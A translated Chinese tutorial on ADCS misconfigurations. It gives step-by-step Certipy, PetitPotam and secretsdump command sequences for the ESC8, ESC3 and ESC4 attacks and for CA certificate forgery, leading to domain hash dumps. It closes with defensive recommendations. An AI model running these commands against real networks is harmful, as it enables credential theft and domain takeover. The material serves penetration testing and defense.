[翻译]ADCS攻击面详解
字数 1668 2025-08-23 18:31:34
Active Directory Certificate Services (ADCS) 攻击面详解
前言
Active Directory Certificate Services (ADCS) 是 Windows Server 的一个服务器角色,允许组织构建公钥基础设施(PKI),为内部域提供公钥加密、数字证书和数字签名功能。虽然 ADCS 提供了有价值的安全功能,但配置不当可能导致严重的安全风险,使攻击者能够获得对域的未授权访问权限。
工具准备
在开始攻击前,需要准备以下工具:
- Certipy:用于利用多个 ADCS 配置错误的强大工具
- PetitPotam:强制 Windows 主机进行身份验证的工具
- Secretsdump(Impacket 中的 Python 脚本):用于转储 SAM 和 LSA 密钥,可从域控制器转储所有密码哈希
- CrackMapExec:多功能工具,可用于凭证喷洒和转储用户凭据
攻击技术详解
攻击1:ADCS Web Enrollment 中继攻击 (ESC8)
前提条件:
- ADCS 证书颁发机构启用了 Web Enrollment
- 攻击者拥有域用户凭据
攻击步骤:
-
查找易受攻击的 ADCS 服务器:
certipy find -dc-ip {DC IP Address} -u {User} -p {Password} -vulnerable -
设置中继攻击:
certipy relay -ca {Certificate Authority IP Address} -template DomainController注意:如果默认 DomainController 模板被修改,需检查可用模板并相应调整命令。
-
强制域控制器进行身份验证:
python3 PetitPotam.py -u {Username} -p {Password} {Listener IP Address} {Target IP Address} -
获取域控制器机器账户证书:
- Certipy 将中继连接并获取证书
-
使用证书进行身份验证:
certipy auth -username {Username} -domain {Domain} -dc-ip {DC IP Address} -pfx {Certificate} -
转储所有用户哈希:
impacket-secretsdump {Domain/Username@IP Address} -hashes {Hash}
注意事项:
- 如果 Web Enrollment 不监听标准端口 80(如只监听 HTTPS),可能需要使用 NTLMRelay 替代
攻击2:ESC3 攻击(基于证书模板的权限提升)
前提条件:
- 存在配置错误的证书模板(启用了"请求中的供应"选项)
- 攻击者拥有普通域用户凭据
攻击步骤:
-
枚举易受攻击的模板:
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable -
基于易受攻击模板请求证书:
certipy req -dc-ip {DC IP Address} -u {Username} -p {Password} -target-ip {CA IP Address} -ca {CA Server Name} -template {Vulnerable Template Name} -
请求管理员账户证书:
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA IP Address} -template User -on-behalf-of {Domain\Username} -pfx {Saved Certificate} -
使用管理员证书进行身份验证:
certipy auth -pfx {Saved Administrator Certificate} -dc-ip {DC IP Address} -
获取域控制权:
- 使用获取的哈希通过 CrackMapExec 等工具控制域
攻击3:ESC4 攻击(证书模板权限滥用)
前提条件:
- 用户对证书模板拥有过多控制权(如完全控制)
攻击步骤:
-
枚举易受攻击的模板:
certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable -
修改模板使其易受 ESC1 攻击:
certipy template -u {Username} -p {Password} -template {Vulnerable Template Name} -save-old -target-ip {CA Server IP Address} -
请求管理员账户证书:
certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA Server IP Address} -template {Template Name} -upn {Target Username@Domain} -dc-ip {DC IP Address} -
恢复模板配置(可选):
certipy template -u {Username} -p {Password} -template {Template Name} -configuration {Saved Template Setting File} -dc-ip {DC IP Address} -
使用证书进行身份验证:
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
攻击4:CA 服务器管理员权限滥用
前提条件:
- 对 CA 服务器拥有管理员访问权限
攻击步骤:
-
备份 CA 服务器证书和私钥:
certipy ca -backup -ca {CA Server Name} -u {Username} -p {Password} -dc-ip {DC IP Address} -
伪造管理员账户证书:
certipy forge -ca-pfx {Name of Backup Certificate} -upn {Username@Domain} -subject 'CN=Administrator,CN=Users,DC={Domain Name},DC={Domain Top Level}' -
使用伪造证书进行身份验证:
certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
防御建议
-
Web Enrollment:
- 禁用不必要的 Web Enrollment
- 确保 Web Enrollment 仅通过 HTTPS 访问
- 实施 EPA(Extended Protection for Authentication)
-
证书模板:
- 限制用户对证书模板的权限
- 禁用"请求中的供应"等危险选项
- 定期审计证书模板配置
-
CA 服务器:
- 严格控制对 CA 服务器的管理访问
- 定期轮换 CA 证书
- 实施基于角色的访问控制
-
监控与检测:
- 监控异常的证书请求活动
- 检测 PetitPotam 等强制身份验证工具的使用
- 实施证书透明度日志
参考资源
- Microsoft ADCS 文档:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
- HackTricks AD 证书攻击:https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation